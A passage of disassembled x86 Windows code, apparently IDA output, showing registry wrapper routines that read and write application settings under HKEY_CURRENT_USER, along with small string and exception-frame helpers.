ecx, [ebp-28h] add ecx, 18h call sub_4283A0 push 0 push 0 lea ecx, [ebp-14h] call sub_4283B0 mov ecx, [eax] mov edx, [eax+4] mov eax, [ebp-28h] mov [eax+10h], ecx mov [eax+14h], edx mov ecx, [ebp-28h] mov edx, [ebp+0Ch] mov [ecx+18h], edx mov eax, [ebp+10h] mov [ecx+1Ch], eax mov ecx, [ebp-28h] mov edx, [ebp+14h] mov [ecx+24h], edx mov eax, [ebp-28h] mov ecx, [ebp+18h] mov [eax], ecx mov edx, [ebp-28h] mov dword ptr [edx+20h], 0 push offset asc_437564 ; "\\" lea ecx, [ebp+8] call sub_4317F6 push 5Ch lea ecx, [ebp+8] call sub_4317C6 push eax lea eax, [ebp-18h] push eax lea ecx, [ebp+8] call sub_4317C0 mov [ebp-2Ch], eax mov ecx, [ebp-2Ch] mov [ebp-30h], ecx mov byte ptr [ebp-4], 2 mov edx, [ebp-30h] push edx mov ecx, [ebp-28h] add ecx, 0Ch call sub_4317A8 mov byte ptr [ebp-4], 1 lea ecx, [ebp-18h] call sub_4317A2 push offset asc_437568 ; "\\" mov ecx, [ebp-28h] add ecx, 0Ch call sub_4317F0 lea ecx, [ebp+8] call sub_428280 mov esi, eax push 5Ch lea ecx, [ebp+8] call sub_4317C6 sub esi, eax push esi lea eax, [ebp-1Ch] push eax lea ecx, [ebp+8] call sub_4317EA mov [ebp-34h], eax mov ecx, [ebp-34h] mov [ebp-38h], ecx mov byte ptr [ebp-4], 3 mov edx, [ebp-38h] push edx mov ecx, [ebp-28h] add ecx, 8 call sub_4317A8 mov byte ptr [ebp-4], 1 lea ecx, [ebp-1Ch] call sub_4317A2 push offset asc_43756C ; "\\" mov ecx, [ebp-28h] add ecx, 8 call sub_4317F6 push offset asc_437570 ; "\\" mov ecx, [ebp-28h] add ecx, 8 call sub_4317F0 lea eax, [ebp-24h] push eax mov ecx, [ebp-28h] call sub_427610 mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_4317A2 mov eax, [ebp-28h] mov ecx, [ebp-0Ch] mov large fs:0, ecx pop esi mov esp, ebp pop ebp retn 14h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov ecx, [ebp-4] call sub_428230 mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427610 proc near ; CODE XREF: TEUm:004275D5p ; TEUm:00427820p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h mov [ebp+var_24], ecx mov eax, [ebp+var_24] add eax, 4 push eax push 20019h push 0 mov ecx, [ebp+var_24] add ecx, 0Ch call sub_4226A0 push eax mov ecx, [ebp+var_24] mov edx, [ecx] push edx call dword_433004 ; RegOpenKeyExA test eax, eax jnz loc_427747 mov [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push 0 lea ecx, [ebp+var_8] push ecx push 0 mov ecx, [ebp+var_24] add ecx, 8 call sub_4226A0 push eax mov edx, [ebp+var_24] mov eax, [edx+4] push eax call dword_433010 ; RegQueryValueExA mov ecx, [ebp+var_4] push ecx call sub_431784 add esp, 4 mov [ebp+var_10], eax mov edx, [ebp+var_10] mov [ebp+var_C], edx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_C] push ecx lea edx, [ebp+var_8] push edx push 0 mov ecx, [ebp+var_24] add ecx, 8 call sub_4226A0 push eax mov eax, [ebp+var_24] mov ecx, [eax+4] push ecx call dword_433010 ; RegQueryValueExA test eax, eax jnz short loc_427712 mov edx, [ebp+var_C] mov eax, [edx+4] push eax mov ecx, [edx] push ecx lea ecx, [ebp+var_18] call sub_4283E0 mov edx, [eax] mov eax, [eax+4] mov ecx, [ebp+var_24] mov [ecx+10h], edx mov [ecx+14h], eax mov edx, [ebp+var_C] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] push eax call sub_43177E add esp, 4 mov ecx, [ebp+var_24] mov dword ptr [ecx+20h], 1 mov edx, [ebp+var_24] mov eax, [edx+4] push eax call dword_433000 ; RegCloseKey mov ecx, [ebp+var_24] mov edx, [ecx+10h] mov eax, [ecx+14h] mov ecx, [ebp+arg_0] mov [ecx], edx mov [ecx+4], eax mov eax, [ebp+arg_0] jmp short loc_42775B ; --------------------------------------------------------------------------- loc_427712: ; CODE XREF: sub_427610+A1j mov edx, [ebp+var_C] mov [ebp+var_20], edx mov eax, [ebp+var_20] push eax call sub_43177E add esp, 4 mov ecx, [ebp+var_24] mov edx, [ecx+4] push edx call dword_433000 ; RegCloseKey mov eax, [ebp+var_24] mov ecx, [eax+18h] mov edx, [eax+1Ch] mov eax, [ebp+arg_0] mov [eax], ecx mov [eax+4], edx mov eax, [ebp+arg_0] jmp short loc_42775B ; --------------------------------------------------------------------------- loc_427747: ; CODE XREF: sub_427610+31j mov ecx, [ebp+var_24] mov edx, [ecx+18h] mov eax, [ecx+1Ch] mov ecx, [ebp+arg_0] mov [ecx], edx mov [ecx+4], eax mov eax, [ebp+arg_0] loc_42775B: ; CODE XREF: sub_427610+100j ; sub_427610+135j mov esp, ebp pop ebp retn 4 sub_427610 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427761 proc near ; CODE XREF: TEUm:00427887p var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] add ecx, 4 push ecx push 0 push 20006h push 0 push offset dword_439CE0 push 0 mov ecx, [ebp+var_8] add ecx, 0Ch call sub_4226A0 push eax mov edx, [ebp+var_8] mov eax, [edx] push eax call dword_43300C ; RegCreateKeyExA test eax, eax jz short loc_4277A3 jmp short loc_4277E4 ; --------------------------------------------------------------------------- loc_4277A3: ; CODE XREF: sub_427761+3Ej push 8 mov ecx, [ebp+var_8] add ecx, 10h push ecx push 3 push 0 mov ecx, [ebp+var_8] add ecx, 8 call sub_4226A0 push eax mov edx, [ebp+var_8] mov eax, [edx+4] push eax call dword_433008 ; RegSetValueExA test eax, eax jnz short loc_4277D7 mov ecx, [ebp+var_8] mov dword ptr [ecx+20h], 1 loc_4277D7: ; CODE XREF: sub_427761+6Aj mov edx, [ebp+var_8] mov eax, [edx+4] push eax call dword_433000 ; RegCloseKey loc_4277E4: ; CODE XREF: sub_427761+40j mov esp, ebp pop ebp retn sub_427761 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx mov eax, [ebp-0Ch] cmp dword ptr [eax+20h], 0 jz short loc_427819 mov ecx, [ebp-0Ch] cmp dword ptr [ecx+24h], 0 jnz short loc_427819 mov edx, [ebp-0Ch] mov eax, [edx+10h] mov ecx, [edx+14h] mov edx, [ebp+8] mov [edx], eax mov [edx+4], ecx mov eax, [ebp+8] jmp short loc_427835 ; --------------------------------------------------------------------------- loc_427819: ; CODE XREF: TEUm:004277F8j ; TEUm:00427801j lea eax, [ebp-8] push eax mov ecx, [ebp-0Ch] call sub_427610 mov ecx, [eax] mov edx, [eax+4] mov eax, [ebp+8] mov [eax], ecx mov [eax+4], edx mov eax, [ebp+8] loc_427835: ; CODE XREF: TEUm:00427817j mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx mov eax, [ebp-0Ch] mov ecx, [eax+10h] mov edx, [eax+14h] mov [ebp-8], ecx mov [ebp-4], edx mov eax, [ebp-4] push eax mov ecx, [ebp-8] push ecx lea ecx, [ebp+8] call sub_428400 test eax, eax jz short loc_427875 mov edx, [ebp-0Ch] cmp dword ptr [edx+24h], 0 jnz short loc_427875 mov eax, [ebp-0Ch] jmp short loc_42788F ; --------------------------------------------------------------------------- loc_427875: ; CODE XREF: TEUm:00427865j ; TEUm:0042786Ej mov eax, [ebp-0Ch] mov ecx, [ebp+8] mov [eax+10h], ecx mov edx, [ebp+0Ch] mov [eax+14h], edx mov ecx, [ebp-0Ch] call sub_427761 mov eax, [ebp-0Ch] loc_42788F: ; CODE XREF: TEUm:00427873j mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_432635 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch mov [ebp-18h], ecx mov ecx, [ebp-18h] call sub_428440 mov dword ptr [ebp-4], 0 lea eax, [ebp-10h] push eax mov ecx, [ebp-18h] add ecx, 28h call dword_43316C mov byte ptr [ebp-4], 1 lea ecx, [ebp-14h] push ecx mov ecx, [ebp-18h] add ecx, 38h call dword_43316C mov byte ptr [ebp-4], 2 push offset dword_439CE4 mov ecx, [ebp-18h] add ecx, 28h call dword_433194 push offset dword_439CE8 mov ecx, [ebp-18h] add ecx, 38h call dword_433194 push offset dword_439CEC mov ecx, [ebp-18h] add ecx, 8 call dword_433194 mov edx, [ebp-18h] mov dword ptr [edx], 80000001h mov eax, [ebp-18h] mov dword ptr [eax+48h], 0 mov ecx, [ebp-18h] mov dword ptr [ecx+4Ch], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-18h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43268A mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50h mov [ebp-4Ch], ecx mov dword ptr [ebp-4], 1 mov ecx, [ebp-4Ch] call sub_428440 mov byte ptr [ebp-4], 2 lea eax, [ebp-14h] push eax mov ecx, [ebp-4Ch] add ecx, 28h call dword_43316C mov byte ptr [ebp-4], 3 lea ecx, [ebp-18h] push ecx mov ecx, [ebp-4Ch] add ecx, 38h call dword_43316C mov byte ptr [ebp-4], 4 push offset dword_439CF0 mov ecx, [ebp-4Ch] add ecx, 28h call dword_433194 lea edx, [ebp+18h] push edx mov ecx, [ebp-4Ch] add ecx, 38h call dword_43317C mov eax, [ebp-4Ch] mov ecx, [ebp+28h] mov [eax+4Ch], ecx mov edx, [ebp-4Ch] mov eax, [ebp+2Ch] mov [edx], eax mov ecx, [ebp-4Ch] mov dword ptr [ecx+48h], 0 mov edx, dword_433178 mov eax, [edx] push eax push 5Ch lea ecx, [ebp+8] call dword_433174 mov [ebp-10h], eax mov ecx, [ebp-10h] push ecx push 0 lea edx, [ebp-28h] push edx lea ecx, [ebp+8] call dword_433170 mov [ebp-50h], eax mov eax, [ebp-50h] mov [ebp-54h], eax mov byte ptr [ebp-4], 5 mov ecx, [ebp-54h] push ecx mov ecx, [ebp-4Ch] add ecx, 18h call dword_43317C mov byte ptr [ebp-4], 4 lea ecx, [ebp-28h] call dword_433168 mov edx, dword_433178 mov eax, [edx] push eax mov ecx, [ebp-10h] add ecx, 1 push ecx lea edx, [ebp-38h] push edx lea ecx, [ebp+8] call dword_433170 mov [ebp-58h], eax mov eax, [ebp-58h] mov [ebp-5Ch], eax mov byte ptr [ebp-4], 6 mov ecx, [ebp-5Ch] push ecx mov ecx, [ebp-4Ch] add ecx, 8 call dword_43317C mov byte ptr [ebp-4], 4 lea ecx, [ebp-38h] call dword_433168 lea edx, [ebp-48h] push edx mov ecx, [ebp-4Ch] call sub_427B23 lea ecx, [ebp-48h] call dword_433168 mov byte ptr [ebp-4], 0 lea ecx, [ebp+8] call dword_433168 mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+18h] call dword_433168 mov eax, [ebp-4Ch] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn 28h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_4326AA mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp-10h], ecx mov dword ptr [ebp-4], 1 mov ecx, [ebp-10h] add ecx, 38h call dword_433168 mov byte ptr [ebp-4], 0 mov ecx, [ebp-10h] add ecx, 28h call dword_433168 mov dword ptr [ebp-4], 0FFFFFFFFh mov ecx, [ebp-10h] call sub_4284A0 mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427B23 proc near ; CODE XREF: TEUm:00427A89p ; TEUm:00427D66p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov [ebp+var_1C], 0 mov eax, [ebp+var_20] add eax, 4 push eax push 20019h push 0 mov ecx, [ebp+var_20] add ecx, 18h call dword_433188 push eax mov ecx, [ebp+var_20] mov edx, [ecx] push edx call dword_433004 ; RegOpenKeyExA test eax, eax jnz loc_427C62 mov [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push 0 lea ecx, [ebp+var_C] push ecx push 0 mov ecx, [ebp+var_20] add ecx, 8 call dword_433188 push eax mov edx, [ebp+var_20] mov eax, [edx+4] push eax call dword_433010 ; RegQueryValueExA mov ecx, [ebp+var_4] push ecx call sub_431784 add esp, 4 mov [ebp+var_10], eax mov edx, [ebp+var_10] mov [ebp+var_8], edx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] push ecx lea edx, [ebp+var_C] push edx push 0 mov ecx, [ebp+var_20] add ecx, 8 call dword_433188 push eax mov eax, [ebp+var_20] mov ecx, [eax+4] push ecx call dword_433010 ; RegQueryValueExA test eax, eax jnz short loc_427C26 mov edx, [ebp+var_8] push edx mov ecx, [ebp+var_20] add ecx, 28h call dword_433184 mov eax, [ebp+var_8] mov [ebp+var_14], eax mov ecx, [ebp+var_14] push ecx call sub_43177E add esp, 4 mov edx, [ebp+var_20] mov dword ptr [edx+48h], 1 mov eax, [ebp+var_20] mov ecx, [eax+4] push ecx call dword_433000 ; RegCloseKey mov edx, [ebp+var_20] add edx, 28h push edx mov ecx, [ebp+arg_0] call dword_433180 mov eax, [ebp+var_1C] or al, 1 mov [ebp+var_1C], eax mov eax, [ebp+arg_0] jmp short loc_427C7E ; --------------------------------------------------------------------------- loc_427C26: ; CODE XREF: sub_427B23+ABj mov ecx, [ebp+var_8] mov [ebp+var_18], ecx mov edx, [ebp+var_18] push edx call sub_43177E add esp, 4 mov eax, [ebp+var_20] mov ecx, [eax+4] push ecx call dword_433000 ; RegCloseKey mov edx, [ebp+var_20] add edx, 38h push edx mov ecx, [ebp+arg_0] call dword_433180 mov eax, [ebp+var_1C] or al, 1 mov [ebp+var_1C], eax mov eax, [ebp+arg_0] jmp short loc_427C7E ; --------------------------------------------------------------------------- loc_427C62: ; CODE XREF: sub_427B23+39j mov ecx, [ebp+var_20] add ecx, 38h push ecx mov ecx, [ebp+arg_0] call dword_433180 mov edx, [ebp+var_1C] or edx, 1 mov [ebp+var_1C], edx mov eax, [ebp+arg_0] loc_427C7E: ; CODE XREF: sub_427B23+101j ; sub_427B23+13Dj mov esp, ebp pop ebp retn 4 sub_427B23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427C84 proc near ; CODE XREF: TEUm:00427E7Ep var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] add ecx, 4 push ecx push 0 push 20006h push 0 push offset dword_439CF4 push 0 mov ecx, [ebp+var_8] add ecx, 18h call dword_433188 push eax mov edx, [ebp+var_8] mov eax, [edx] push eax call dword_43300C ; RegCreateKeyExA test eax, eax jz short loc_427CC7 jmp short loc_427D1D ; --------------------------------------------------------------------------- loc_427CC7: ; CODE XREF: sub_427C84+3Fj mov ecx, [ebp+var_8] add ecx, 28h call dword_43318C add eax, 1 push eax mov ecx, [ebp+var_8] add ecx, 28h call dword_433188 push eax push 1 push 0 mov ecx, [ebp+var_8] add ecx, 8 call dword_433188 push eax mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx call dword_433008 ; RegSetValueExA test eax, eax jnz short loc_427D10 mov eax, [ebp+var_8] mov dword ptr [eax+48h], 1 loc_427D10: ; CODE XREF: sub_427C84+80j mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx call dword_433000 ; RegCloseKey loc_427D1D: ; CODE XREF: sub_427C84+41j mov esp, ebp pop ebp retn sub_427C84 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_4326BE mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h mov [ebp-24h], ecx mov eax, [ebp-24h] cmp dword ptr [eax+48h], 0 jz short loc_427D5F mov ecx, [ebp-24h] cmp dword ptr [ecx+4Ch], 0 jnz short loc_427D5F mov ecx, [ebp-24h] add ecx, 28h call dword_433188 jmp short loc_427D9A ; --------------------------------------------------------------------------- loc_427D5F: ; CODE XREF: TEUm:00427D46j ; TEUm:00427D4Fj lea edx, [ebp-20h] push edx mov ecx, [ebp-24h] call sub_427B23 mov [ebp-28h], eax mov eax, [ebp-28h] mov [ebp-2Ch], eax mov dword ptr [ebp-4], 0 mov ecx, [ebp-2Ch] call dword_433188 mov [ebp-10h], eax mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-20h] call dword_433168 mov eax, [ebp-10h] loc_427D9A: ; CODE XREF: TEUm:00427D5Dj mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 mov [ebp-8], ecx mov dword ptr [ebp-4], 0 mov eax, [ebp-8] cmp dword ptr [eax+48h], 0 jz short loc_427DE7 mov ecx, [ebp-8] cmp dword ptr [ecx+4Ch], 0 jnz short loc_427DE7 mov edx, [ebp-8] add edx, 28h push edx mov ecx, [ebp+8] call dword_433180 mov eax, [ebp-4] or al, 1 mov [ebp-4], eax mov eax, [ebp+8] jmp short loc_427DFF ; --------------------------------------------------------------------------- loc_427DE7: ; CODE XREF: TEUm:00427DBFj ; TEUm:00427DC8j mov ecx, [ebp+8] push ecx mov ecx, [ebp-8] call sub_427B23 mov edx, [ebp-4] or edx, 1 mov [ebp-4], edx mov eax, [ebp+8] loc_427DFF: ; CODE XREF: TEUm:00427DE5j mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_4326D2 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch mov [ebp-18h], ecx mov dword ptr [ebp-4], 0 mov eax, [ebp-18h] add eax, 28h push eax lea ecx, [ebp+8] push ecx call dword_433190 add esp, 8 and eax, 0FFh test eax, eax jz short loc_427E6B mov edx, [ebp-18h] cmp dword ptr [edx+4Ch], 0 jnz short loc_427E6B mov eax, [ebp-18h] mov [ebp-10h], eax mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call dword_433168 mov eax, [ebp-10h] jmp short loc_427E9C ; --------------------------------------------------------------------------- loc_427E6B: ; CODE XREF: TEUm:00427E45j ; TEUm:00427E4Ej lea ecx, [ebp+8] push ecx mov ecx, [ebp-18h] add ecx, 28h call dword_43317C mov ecx, [ebp-18h] call sub_427C84 mov edx, [ebp-18h] mov [ebp-14h], edx mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call dword_433168 mov eax, [ebp-14h] loc_427E9C: ; CODE XREF: TEUm:00427E69j mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_4326E5 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp-10h], ecx mov ecx, [ebp-10h] call sub_428440 mov dword ptr [ebp-4], 0 mov eax, [ebp-10h] mov dword ptr [eax+28h], 0 mov ecx, [ebp-10h] mov dword ptr [ecx+2Ch], 0 push offset dword_439CF8 mov ecx, [ebp-10h] add ecx, 8 call dword_433194 mov edx, [ebp-10h] mov dword ptr [edx], 80000001h mov eax, [ebp-10h] mov dword ptr [eax+30h], 0 mov ecx, [ebp-10h] mov dword ptr [ecx+34h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_432716 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h mov [ebp-34h], ecx mov dword ptr [ebp-4], 0 mov ecx, [ebp-34h] call sub_428440 mov byte ptr [ebp-4], 1 mov eax, [ebp-34h] mov dword ptr [eax+28h], 0 mov ecx, [ebp-34h] mov edx, [ebp+18h] mov [ecx+2Ch], edx mov eax, [ebp-34h] mov ecx, [ebp+1Ch] mov [eax+34h], ecx mov edx, [ebp-34h] mov eax, [ebp+20h] mov [edx], eax mov ecx, [ebp-34h] mov dword ptr [ecx+30h], 0 mov edx, dword_433178 mov eax, [edx] push eax push 5Ch lea ecx, [ebp+8] call dword_433174 mov [ebp-10h], eax mov ecx, [ebp-10h] push ecx push 0 lea edx, [ebp-20h] push edx lea ecx, [ebp+8] call dword_433170 mov [ebp-38h], eax mov eax, [ebp-38h] mov [ebp-3Ch], eax mov byte ptr [ebp-4], 2 mov ecx, [ebp-3Ch] push ecx mov ecx, [ebp-34h] add ecx, 18h call dword_43317C mov byte ptr [ebp-4], 1 lea ecx, [ebp-20h] call dword_433168 mov edx, dword_433178 mov eax, [edx] push eax mov ecx, [ebp-10h] add ecx, 1 push ecx lea edx, [ebp-30h] push edx lea ecx, [ebp+8] call dword_433170 mov [ebp-40h], eax mov eax, [ebp-40h] mov [ebp-44h], eax mov byte ptr [ebp-4], 3 mov ecx, [ebp-44h] push ecx mov ecx, [ebp-34h] add ecx, 8 call dword_43317C mov byte ptr [ebp-4], 1 lea ecx, [ebp-30h] call dword_433168 mov ecx, [ebp-34h] call sub_428069 mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call dword_433168 mov eax, [ebp-34h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn 1Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov ecx, [ebp-4] call sub_4284A0 mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428069 proc near ; CODE XREF: TEUm:0042802Ep ; TEUm:004281BEp var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx mov eax, [ebp+var_C] add eax, 4 push eax push 20019h push 0 mov ecx, [ebp+var_C] add ecx, 18h call dword_433188 push eax mov ecx, [ebp+var_C] mov edx, [ecx] push edx call dword_433004 ; RegOpenKeyExA test eax, eax jnz short loc_428107 mov [ebp+var_4], 4 lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_C] add ecx, 28h push ecx lea edx, [ebp+var_8] push edx push 0 mov ecx, [ebp+var_C] add ecx, 8 call dword_433188 push eax mov eax, [ebp+var_C] mov ecx, [eax+4] push ecx call dword_433010 ; RegQueryValueExA test eax, eax jnz short loc_4280F2 mov edx, [ebp+var_C] mov dword ptr [edx+30h], 1 mov eax, [ebp+var_C] mov ecx, [eax+4] push ecx call dword_433000 ; RegCloseKey mov edx, [ebp+var_C] mov eax, [edx+28h] jmp short loc_42810D ; --------------------------------------------------------------------------- loc_4280F2: ; CODE XREF: sub_428069+68j mov eax, [ebp+var_C] mov ecx, [eax+4] push ecx call dword_433000 ; RegCloseKey mov edx, [ebp+var_C] mov eax, [edx+2Ch] jmp short loc_42810D ; --------------------------------------------------------------------------- loc_428107: ; CODE XREF: sub_428069+32j mov eax, [ebp+var_C] mov eax, [eax+2Ch] loc_42810D: ; CODE XREF: sub_428069+87j ; sub_428069+9Cj mov esp, ebp pop ebp retn sub_428069 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 mov [ebp-8], ecx lea eax, [ebp-4] push eax mov ecx, [ebp-8] add ecx, 4 push ecx push 0 push 20006h push 0 push offset dword_439CFC push 0 mov ecx, [ebp-8] add ecx, 18h call dword_433188 push eax mov edx, [ebp-8] mov eax, [edx] push eax call dword_43300C ; RegCreateKeyExA test eax, eax jz short loc_428154 jmp short loc_428196 ; --------------------------------------------------------------------------- loc_428154: ; CODE XREF: TEUm:00428150j push 4 mov ecx, [ebp-8] add ecx, 28h push ecx push 4 push 0 mov ecx, [ebp-8] add ecx, 8 call dword_433188 push eax mov edx, [ebp-8] mov eax, [edx+4] push eax call dword_433008 ; RegSetValueExA test eax, eax jnz short loc_428189 mov ecx, [ebp-8] mov dword ptr [ecx+30h], 1 loc_428189: ; CODE XREF: TEUm:0042817Dj mov edx, [ebp-8] mov eax, [edx+4] push eax call dword_433000 ; RegCloseKey loc_428196: ; CODE XREF: TEUm:00428152j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] cmp dword ptr [eax+30h], 0 jz short loc_4281BB mov ecx, [ebp-4] cmp dword ptr [ecx+34h], 0 jnz short loc_4281BB mov edx, [ebp-4] mov eax, [edx+28h] jmp short loc_4281C3 ; --------------------------------------------------------------------------- loc_4281BB: ; CODE XREF: TEUm:004281A8j ; TEUm:004281B1j mov ecx, [ebp-4] call sub_428069 loc_4281C3: ; CODE XREF: TEUm:004281B9j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4281D0 proc near ; CODE XREF: TEUm:0042651Fp ; sub_426584+29p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_4281D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov ecx, [ebp+var_10] add ecx, 8 call sub_4317AE mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 0Ch call sub_4317AE mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_10] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_4281D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428230 proc near ; CODE XREF: sub_4266D6+Ap ; sub_426ABF+47p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_428230 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 0Ch call sub_4317A2 mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] add ecx, 8 call sub_4317A2 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_428230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428280 proc near ; CODE XREF: sub_426584+BFp ; sub_42692B+E9p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_4282A0 mov eax, [eax+4] mov esp, ebp pop ebp retn sub_428280 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4282A0 proc near ; CODE XREF: sub_428280+Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax] sub eax, 0Ch mov esp, ebp pop ebp retn sub_4282A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4282C0 proc near ; CODE XREF: sub_426DB8+30p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_4] call sub_4226A0 push eax mov ecx, [ebp+arg_0] call sub_4282E0 neg eax sbb eax, eax inc eax pop ebp retn 8 sub_4282C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4282E0 proc near ; CODE XREF: sub_4282C0+Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] mov edx, [ecx] push edx call sub_428300 add esp, 8 mov esp, ebp pop ebp retn 4 sub_4282E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428300 proc near ; CODE XREF: sub_4282E0+11p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4331EC ; _mbscmp add esp, 8 pop ebp retn sub_428300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428320 proc near ; CODE XREF: TEUm:00426EA6p ; TEUm:00426ED2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], 